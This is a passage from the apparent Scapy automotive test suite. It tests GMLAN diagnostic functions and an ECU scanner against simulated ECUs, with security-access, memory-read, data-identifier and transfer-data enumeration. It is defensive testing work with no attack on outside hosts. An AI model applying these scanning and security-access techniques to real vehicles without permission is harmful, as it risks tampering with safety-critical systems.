ProgrammingMode requestProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN(b\"\\xe5\")\n    # InitiateProgramming enableProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=1, retry=0, unittest=True) == True\nassert res\nthread.join(timeout=5)\n\n\n= negative response, make sure no retries are made\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set)\n    ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12)\n    requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=lambda:isotpsock2.send(ack))\n    if len(requ) != 0:\n        ecusimSuccessfullyExecuted = False\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, retry=0, unittest=True) == False\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n= first fail at DisableNormalCommunication, then sequence of the correct messages\nstarted = threading.Event()\ndef ecusim():\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12)\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = b\"\\x68\"\n    # ReportProgrammedState\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN()/GMLAN_RPSPR(programmedState=0)\n    # ProgrammingMode requestProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN(b\"\\xe5\")\n    # InitiateProgramming enableProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, retry=1, unittest=True) == True\nthread.join(timeout=5)\nassert res\n\n= first fail at ReportProgrammedState, then sequence of the correct messages\nstarted = threading.Event()\ndef ecusim():\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = b\"\\x68\"\n    # Fail\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN() / GMLAN_NR(requestServiceId=0xA2, returnCode=0x12)\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = b\"\\x68\"\n    # ReportProgrammedState\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN()/GMLAN_RPSPR(programmedState=0)\n    # ProgrammingMode requestProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN(b\"\\xe5\")\n    # InitiateProgramming enableProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=1, retry=1, unittest=True) == True\nthread.join(timeout=5)\nassert res\n\n= first fail at ProgrammingMode requestProgramming, then sequence of the correct messages\nstarted = threading.Event()\ndef ecusim():\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = b\"\\x68\"\n    # ReportProgrammedState\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN()/GMLAN_RPSPR(programmedState=0)\n    # Fail\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN() / GMLAN_NR(requestServiceId=0xA5, returnCode=0x12)\n    # DisableNormalCommunication\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = b\"\\x68\"\n    # ReportProgrammedState\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN()/GMLAN_RPSPR(programmedState=0)\n    # ProgrammingMode requestProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN(b\"\\xe5\")\n    isotpsock2.send(ack)\n    # InitiateProgramming enableProgramming\n    requ = isotpsock2.sniff(count=1, timeout=1)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=1, retry=1, unittest=True) == True\nthread.join(timeout=5)\nassert res\n\n= fail twice\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set)\n    ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12)\n    requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12)\n    requ = isotpsock2.sniff(count=1, timeout=0.1, started_callback=lambda:isotpsock2.send(ack))\n    if len(requ) != 0:\n        ecusimSuccessfullyExecuted = False\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_InitDiagnostics(isotpsock, timeout=0.1, retry=1, unittest=True) == False\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n##############################################################################\n+ GMLAN_ReadMemoryByAddress Tests\n##############################################################################\n= Positive, short length, scheme = 4\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\necusimSuccessfullyExecuted = True\nstarted = threading.Event()\ndef ecusim():\n    global ecusimSuccessfullyExecuted\n    ecusimSuccessfullyExecuted= True\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    pkt = GMLAN() / GMLAN_RMBA(memoryAddress=0x0, memorySize=0x8)\n    if bytes(requ[0]) != bytes(pkt):\n        ecusimSuccessfullyExecuted = False\n    ack = GMLAN() / GMLAN_RMBAPR(memoryAddress=0x0, dataRecord=payload)\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1) == payload\nthread.join(timeout=5)\nassert res\nassert ecusimSuccessfullyExecuted == True\n\n\n= Negative, negative response\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\nstarted = threading.Event()\ndef ecusim():\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = GMLAN() / GMLAN_NR(requestServiceId=0x23, returnCode=0x31)\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1) is None\nthread.join(timeout=5)\nassert res\n\n= Negative, timeout\nassert GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=0.01) is None\n\n###### RETRY\n= Positive, negative response, retry succeeds\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\npayload = b\"\\x00\\x11\\x22\\x33\\x44\\x55\\x66\\x77\"\nstarted = threading.Event()\ndef ecusim():\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set)\n    ack = GMLAN() / GMLAN_NR(requestServiceId=0x23, returnCode=0x31)\n    requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack))\n    ack = GMLAN() / GMLAN_RMBAPR(memoryAddress=0x0, dataRecord=payload)\n    isotpsock2.send(ack)\n\nthread = threading.Thread(target=ecusim)\nsniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2])\nthread.start()\nstarted.wait(timeout=5)\nres = GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1, retry=1) == payload\nthread.join(timeout=5)\nassert res\n\n+ Cleanup\n\n= Delete TestSockets\n\ncleanup_testsockets()\n"
  },
  {
    "path": "test/contrib/automotive/gm/scanner.uts",
    "content": "% Regression tests for GMLAN Scanners\n~ scanner\n\n+ Configuration\n~ conf\n\n= Imports\n\nimport itertools\nimport logging\nimport threading\nimport time\nfrom scapy.contrib.isotp import ISOTPMessageBuilder\n\nfrom test.testsocket import TestSocket, cleanup_testsockets, open_test_sockets\n\n\n############\n############\n+ Load general modules\n\n= Load contribution layer\n\nfrom scapy.contrib.automotive.gm.gmlan import *\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\nfrom scapy.contrib.automotive.gm.gmlan_scanner import *\nfrom scapy.contrib.automotive.ecu import *\nload_layer(\"can\")\n\nlog_automotive.setLevel(logging.DEBUG)\n\n\n= Define Testfunction\n\ndef executeScannerInVirtualEnvironment(supported_responses, enumerators, **kwargs):\n    tester = TestSocket(GMLAN)\n    ecu = TestSocket(GMLAN)\n    tester.pair(ecu)\n    answering_machine = EcuAnsweringMachine(supported_responses=supported_responses, main_socket=ecu, basecls=GMLAN, verbose=False)\n    def reset():\n        answering_machine.reset_state()\n        sniff(timeout=0.001, opened_socket=[ecu, tester])\n    sim = threading.Thread(target=answering_machine, kwargs={\n        \"timeout\": 30, \"stop_filter\": lambda x: bytes(x) == b\"\\xff\\xff\\xff\"})\n    sim.start()\n    try:\n        scanner = GMLAN_Scanner(\n            tester, reset_handler=reset,\n            test_cases=enumerators, timeout=0.2, retry_if_none_received=True,\n            unittest=True, **kwargs)\n        def scanner_thread():\n            for i in range(3):\n                print(\"Starting scan\")\n                scanner.scan(timeout=10)\n                if scanner.scan_completed:\n                    print(\"Scan completed after %d iterations\" % i)\n                    return\n        scanner_t = threading.Thread(target=scanner_thread)\n        scanner_t.start()\n        scanner_t.join(timeout=120)\n        if scanner_t.is_alive():\n            scanner.stop_scan()\n    finally:\n        tester.send(Raw(b\"\\xff\\xff\\xff\"))\n        sim.join(timeout=2)\n        assert not sim.is_alive()\n        cleanup_testsockets()\n    return scanner\n\n= Load packets from candump\n\nconf.contribs['CAN']['swap-bytes'] = True\npkts = rdpcap(scapy_path(\"test/pcaps/candump_gmlan_scanner.pcap.gz\"))\nassert len(pkts)\n\n= Create GMLAN messages from packets\n\nbuilder = ISOTPMessageBuilder(basecls=GMLAN, use_ext_address=False, rx_id=[0x241, 0x641])\nmsgs = list()\n\nfor p in pkts:\n    if p.data == b\"ECURESET\":\n        msgs.append(p)\n    else:\n        builder.feed(p)\n        if len(builder):\n            msgs.append(builder.pop())\n\nassert len(msgs)\n\n= Create ECU-Clone from packets\n\nmEcu = Ecu(logging=False, verbose=False, store_supported_responses=True)\n\nfor p in msgs:\n    if isinstance(p, CAN) and p.data == b\"ECURESET\":\n        mEcu.reset()\n    else:\n        mEcu.update(p)\n\nassert len(mEcu.supported_responses)\n\n= Test GMLAN_SAEnumerator evaluate_response\n\ne = GMLAN_SAEnumerator()\n\nconfig = {}\n\ns = EcuState(session=1)\n\ndebug_dissector_backup = conf.debug_dissector\n\n# This tests involves corrupted Packets, therefore we need to disable the debug_dissector\nconf.debug_dissector = False\n\nassert False == e._evaluate_response(s, GMLAN(b\"\\x27\\x01\"), None, **config)\nconfig = {\"exit_if_service_not_supported\": True}\nassert not e._retry_pkt[s]\nassert True == e._evaluate_response(s, GMLAN(b\"\\x27\\x01\"), GMLAN(b\"\\x7f\\x27\\x11\"), **config)\nassert not e._retry_pkt[s]\nassert True == e._evaluate_response(s, GMLAN(b\"\\x27\\x01\"), GMLAN(b\"\\x7f\\x27\\x22\"), **config)\nassert e._retry_pkt[s] == GMLAN(b\"\\x27\\x01\")\nassert False == e._evaluate_response(s, GMLAN(b\"\\x27\\x02\"), GMLAN(b\"\\x7f\\x27\\x22\"), **config)\nassert not e._retry_pkt[s]\nassert True == e._evaluate_response(s, GMLAN(b\"\\x27\\x01\"), GMLAN(b\"\\x7f\\x27\\x37\"), **config)\nassert e._retry_pkt[s] == GMLAN(b\"\\x27\\x01\")\nassert False == e._evaluate_response(s, GMLAN(b\"\\x27\\x01\"), GMLAN(b\"\\x7f\\x27\\x37\"), **config)\nassert not e._retry_pkt[s]\nassert True == e._evaluate_response(s, GMLAN(b\"\\x27\\x01\"), GMLAN(b\"\\x67\\x01ab\"), **config)\nassert not e._retry_pkt[s]\nassert False == e._evaluate_response(s, GMLAN(b\"\\x27\\x01\"), GMLAN(b\"\\x67\\x02ab\"), **config)\nassert not e._retry_pkt[s]\nconf.debug_dissector = debug_dissector_backup\n\n\n= Simulate ECU and run Scanner\n\ndef securityAccess_Algorithm1(seed):\n    return 0x5F51\n\nkeyfunction = securityAccess_Algorithm1\n\nscanner = executeScannerInVirtualEnvironment(\n    mEcu.supported_responses,\n    [GMLAN_IDOEnumerator, GMLAN_PMEnumerator, GMLAN_RDEnumerator, GMLAN_SAEnumerator],\n    GMLAN_SAEnumerator_kwargs={\"keyfunction\": keyfunction, \"scan_range\": range(2)},\n    GMLAN_PMEnumerator_kwargs={\"unittest\": True})\n\nassert len(scanner.state_paths) == 9\nassert scanner.scan_completed\n\nassert EcuState(session=1) in scanner.final_states\nassert EcuState(session=1, security_level=2) in scanner.final_states\nassert EcuState(session=3, tp=1) in scanner.final_states\nassert EcuState(session=2, tp=1, communication_control=1) in scanner.final_states\nassert EcuState(session=2, tp=1, communication_control=1, security_level=2) in scanner.final_states\nassert EcuState(session=3, tp=1, security_level=2) in scanner.final_states\nassert EcuState(session=2, tp=1, communication_control=1, security_level=2, request_download=1) in scanner.final_states\n\n= Simulate ECU and test GMLAN_RDBIEnumerator\n\nresps = [EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=1)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=2)/Raw(b\"beef2\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=3)/Raw(b\"beef3\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=0xff)/Raw(b\"beefff\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode=\"SubFunctionNotSupported\", requestServiceId=\"ReadDataByIdentifier\")])]\n\nes = [GMLAN_RDBIEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es)\n\nassert scanner.scan_completed\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\n\nassert len(tc.results_with_negative_response) == 256 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"asdfbeef1\" in result\nassert \"beef2\" in result\nassert \"beef3\" in result\nassert \"beefff\" in result\nassert \"SubFunctionNotSupported received\" in result\n\nids = [t.req.dataIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xff in ids\n\n\n= Simulate ECU and test GMLAN_WDBIEnumerator\n\ndef wdbi_handler(resp, req):\n    if req.service != 0x3b:\n        return False\n    assert req.dataIdentifier in [1, 2, 3, 0xff]\n    resp.dataIdentifier = req.dataIdentifier\n    if req.dataIdentifier == 1:\n        assert req.dataRecord == b'asdfbeef1'\n        return True\n    if req.dataIdentifier == 2:\n        assert req.dataRecord == b'beef2'\n        return True\n    if req.dataIdentifier == 3:\n        assert req.dataRecord == b\"beef3\"\n        return True\n    if req.dataIdentifier == 0xff:\n        assert req.dataRecord == b\"beefff\"\n        return True\n    return False\n\nresps = [EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=1)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=2)/Raw(b\"beef2\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=3)/Raw(b\"beef3\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_RDBIPR(dataIdentifier=0xff)/Raw(b\"beefff\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_WDBIPR()], answers=wdbi_handler),\n         EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode=\"SubFunctionNotSupported\", requestServiceId=\"ReadDataByIdentifier\")])]\n\nes = [GMLAN_WDBISelectiveEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es)\n\nassert scanner.scan_completed\ntc = scanner.configuration.test_cases[0][0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\n\nassert len(tc.results_with_negative_response) == 256 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"asdfbeef1\" in result\nassert \"beef2\" in result\nassert \"beef3\" in result\nassert \"beefff\" in result\nassert \"SubFunctionNotSupported received\" in result\n\nids = [t.req.dataIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xff in ids\n\n######################### WDBI #############################\ntc = scanner.configuration.test_cases[0][1]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\n\nassert len(tc.results_with_negative_response) == 0\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nids = [t.req.dataIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xff in ids\n\n\n= Simulate ECU and test GMLAN_RDBPIEnumerator\n\nresps = [EcuResponse(None, [GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=1)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=2)/Raw(b\"asdfbeef2\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=3)/Raw(b\"beef3\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=0xffff)/Raw(b\"beefffff\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode=\"SubFunctionNotSupported\", requestServiceId=\"ReadDataByParameterIdentifier\")])]\n\nes = [GMLAN_RDBPIEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es, GMLAN_RDBPIEnumerator_kwargs={\"scan_range\":list(range(0x100)) + list(range(0xff00, 0x10000))})\n\nassert scanner.scan_completed\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\n\nassert len(tc.results_with_negative_response) == 0x200 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"asdfbeef1\" in result\nassert \"asdfbeef2\" in result\nassert \"beef3\" in result\nassert \"beefffff\" in result\nassert \"SubFunctionNotSupported received\" in result\n\nids = [t.req.identifiers[0] for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xffff in ids\n\n= Simulate ECU and test GMLAN_TPEnumerator\n\nresps = [EcuResponse(None, [GMLAN(service=0x7e)])]\n\nes = [GMLAN_TPEnumerator]\nscanner = executeScannerInVirtualEnvironment(resps, es)\n\nassert scanner.scan_completed\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\n\nassert len(tc.results_with_negative_response) == 0\nassert len(tc.results_with_positive_response) == 2\nassert len(tc.scanned_states) == 2\n\n\n= Simulate ECU and test GMLAN_DCEnumerator\n\nresps = [EcuResponse(None, [GMLAN()/GMLAN_DCPR(CPIDNumber=1)]),\n         EcuResponse(None, [GMLAN()/GMLAN_DCPR(CPIDNumber=2)]),\n         EcuResponse(None, [GMLAN()/GMLAN_DCPR(CPIDNumber=3)/Raw(b\"beef3\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_DCPR(CPIDNumber=0xff)/Raw(b\"beefff\")]),\n         EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode=\"SubFunctionNotSupported\", requestServiceId=\"DeviceControl\")])]\n\nes = [GMLAN_DCEnumerator]\nscanner = executeScannerInVirtualEnvironment(resps, es)\n\nassert scanner.scan_completed\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\n\nassert len(tc.results_with_negative_response) == 256 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nids = [t.req.CPIDNumber for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 255 in ids\n\nresult = tc.show(dump=True)\n\nassert \"SubFunctionNotSupported received \" in result\n\n= Simulate ECU and test GMLAN_TDEnumerator\n\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4\n\npositive_responses_left = 4\n\ndef answers_td(resp, req):\n    global positive_responses_left\n    if req.service != 0x36:\n        return False\n    if not positive_responses_left:\n        return False\n    positive_responses_left -= 1\n    resp.service = 0x76\n    return True\n\nresps = [EcuResponse(None, [GMLAN(service=\"TransferDataPositiveResponse\")], answers=answers_td),\n         EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode=\"RequestOutOfRange\", requestServiceId=\"TransferData\")])]\n\nes = [GMLAN_TDEnumerator]\nscanner = executeScannerInVirtualEnvironment(resps, es)\n\nassert scanner.scan_completed\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\n\nassert len(tc.results_with_negative_response) == 0x1ff - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"RequestOutOfRange received \" in result\n\n= Simulate ECU and test GMLAN_RMBAEnumerator 1\n~ not_pypy\n\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2\n\nmemory = dict()\n\nmem_areas = [(0x100, 0x1f00), (0xd000, 0xff00), (0xa000, 0xc000), (0x3000, 0x5f00)]\n\nmem_ranges = [range(s, e) for s, e in mem_areas]\n\nmem_inner_borders = [s for s, _ in mem_areas]\nmem_inner_borders += [e - 1 for _, e in mem_areas]\n\nmem_outer_borders = [s - 1 for s, _ in mem_areas]\nmem_outer_borders += [e for _, e in mem_areas]\n\nmem_random_test_points = []\nfor _ in range(100):\n    mem_random_test_points += [random.choice(list(itertools.chain(*mem_ranges)))]\n\nfor addr in itertools.chain(*mem_ranges):\n    memory[addr] = addr & 0xff\n\ndef answers_rmba(resp, req):\n    global memory\n    if req.service != 0x23:\n        return False\n    if req.memoryAddress not in memory.keys():\n        return False\n    out_mem = list()\n    for i in range(req.memoryAddress, req.memoryAddress + req.memorySize):\n        try:\n            out_mem.append(memory[i])\n        except KeyError:\n            pass\n    resp.memoryAddress = req.memoryAddress\n    resp.dataRecord = bytes(out_mem)\n    return True\n\nresps = [EcuResponse(None, [GMLAN()/GMLAN_RMBAPR(memoryAddress=0, dataRecord=b'')], answers=answers_rmba),\n         EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode=\"RequestOutOfRange\", requestServiceId=\"ReadMemoryByAddress\")])]\n\n#######################################################\nscanner = executeScannerInVirtualEnvironment(resps, [GMLAN_RMBAEnumerator])\n\nassert scanner.scan_completed\ntc1 = scanner.configuration.test_cases[0]\n\nassert len(tc1.results_without_response) < 10\nassert len(tc1.results_with_negative_response) > 10\nassert len(tc1.results_with_positive_response) > 50\nassert len(tc1.scanned_states) == 1\n\nresult = tc1.show(dump=True)\n\nassert \"RequestOutOfRange received \" in result\n\n\ndef _get_memory_addresses_from_results(results):\n    mem_areas = [\n        range(tup.req.memoryAddress, tup.req.memoryAddress + tup.req.memorySize)\n        for tup in results]\n    return set(list(itertools.chain.from_iterable(mem_areas)))\n\n############################################################\n\naddrs = _get_memory_addresses_from_results(tc1.results_with_positive_response)\n\nprint([tp in addrs for tp in mem_inner_borders].count(True) / len(mem_inner_borders))\nassert [tp in addrs for tp in mem_inner_borders].count(True) / len(mem_inner_borders) > 0.8\nprint([tp in addrs for tp in mem_random_test_points].count(True) / len(mem_random_test_points))\nassert [tp in addrs for tp in mem_random_test_points].count(True) / len(mem_random_test_points) > 0.8\nprint([tp not in addrs for tp in mem_outer_borders].count(True) / len(mem_outer_borders))\nassert [tp not in addrs for tp in mem_outer_borders].count(True) / len(mem_outer_borders) > 0.8\n\n\n= Simulate ECU and test GMLAN_RMBAEnumerator 2\n* This test takes very long to execute\n\n~ disabled\n\nconf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3\n\nmemory = dict()\n\nfor addr in itertools.chain(range(0x10000), range(0xf00000, 0xf0f000)):\n    memory[addr] = addr & 0xff\n\nresps = [EcuResponse(None, [GMLAN()/GMLAN_RMBAPR(memoryAddress=0, dataRecord=b'')], answers=answers_rmba),\n         EcuResponse(None, [GMLAN()/GMLAN_NR(returnCode=\"RequestOutOfRange\", requestServiceId=\"ReadMemoryByAddress\")])]\n\nscanner = executeScannerInVirtualEnvironment(resps, [GMLAN_RMBAEnumerator])\n\nassert scanner.scan_completed\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\n\nassert len(tc.results_with_negative_response) > 350\nassert len(tc.results_with_positive_response) > 50\nassert len(tc.scanned_states) == 1\n\naddrs = [t.req.memoryAddress for t in tc.results_with_positive_response]\n\nassert 0 in addrs\nassert 0x10 in addrs\nassert 0xf0 in addrs\nassert 0x3000 in addrs\nassert 0x3090 in addrs\nassert 0xa100 in addrs\nassert 0xa1f0 in addrs\nassert 0xa200 in addrs\nassert 0xa2f0 in addrs\nassert 0xf000 in addrs\nassert 0xf0f0 in addrs\n\nresult = tc.show(dump=True)\n\nassert \"RequestOutOfRange received \" in result\n\n+ Cleanup\n\n= Delete TestSockets\n\ncleanup_testsockets()\n"
  },
  {
    "path": "test/contrib/automotive/interface_mockup.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n\n# \"\"\" Default imports required for setup of CAN interfaces  \"\"\"\n\nimport os\nimport subprocess\nimport sys\n\nfrom platform import python_implementation\n\nfrom scapy.main import load_layer, load_contrib\nfrom scapy.config import conf\nfrom scapy.error import log_runtime, Scapy_Exception\nfrom scapy.consts import LINUX\n\nload_layer(\"can\", globals_dict=globals())\nconf.contribs['CAN']['swap-bytes'] = False\n\n# ############################################################################\n# \"\"\" Define interface names for automotive tests  \"\"\"\n# ############################################################################\niface0 = \"vcan0\"\niface1 = \"vcan1\"\n\ntry:\n    _root = os.geteuid() == 0\nexcept AttributeError:\n    _root = False\n\n_not_pypy = \"pypy\" not in python_implementation().lower()\n_socket_can_support = False\n\n\ndef test_and_setup_socket_can(iface_name):\n    # type: (str) -> None\n    if 0 != subprocess.call((\"cansend %s 000#\" % iface_name).split()):\n        # iface_name is not enabled\n        if 0 != subprocess.call(\"modprobe vcan\".split()):\n            raise Exception(\"modprobe vcan failed\")\n        if 0 != subprocess.call(\n                (\"ip link add name %s type vcan\" % iface_name).split()):\n            log_runtime.debug(\n                \"add %s failed: Maybe it was already up?\" % iface_name)\n        if 0 != subprocess.call(\n                (\"ip link set dev %s up\" % iface_name).split()):\n            raise Exception(\"could not bring up %s\" % iface_name)\n\n    if 0 != subprocess.call((\"cansend %s 000#12\" % iface_name).split()):\n        raise Exception(\"cansend doesn't work\")\n\n    sys.__stderr__.write(\"SocketCAN setup done!\\n\")\n\n\nif LINUX and _root and _not_pypy:\n    try:\n        test_and_setup_socket_can(iface0)\n        test_and_setup_socket_can(iface1)\n        log_runtime.debug(\"CAN should work now\")\n        _socket_can_support = True\n    except Exception as e:\n        sys.__stderr__.write(\"ERROR %s!\\n\" % e)\n\n\nsys.__stderr__.write(\"SocketCAN support: %s\\n\" % _socket_can_support)\n\n\n# ############################################################################\n# \"\"\" Define helper functions for CANSocket creation on all platforms \"\"\"\n# ############################################################################\nif _socket_can_support:\n    from scapy.contrib.cansocket_native import *  # noqa: F403\n    new_can_socket = NativeCANSocket\n    new_can_socket0 = lambda: NativeCANSocket(iface0)\n    new_can_socket1 = lambda: NativeCANSocket(iface1)\n    can_socket_string_list = [\"-c\", iface0]\n    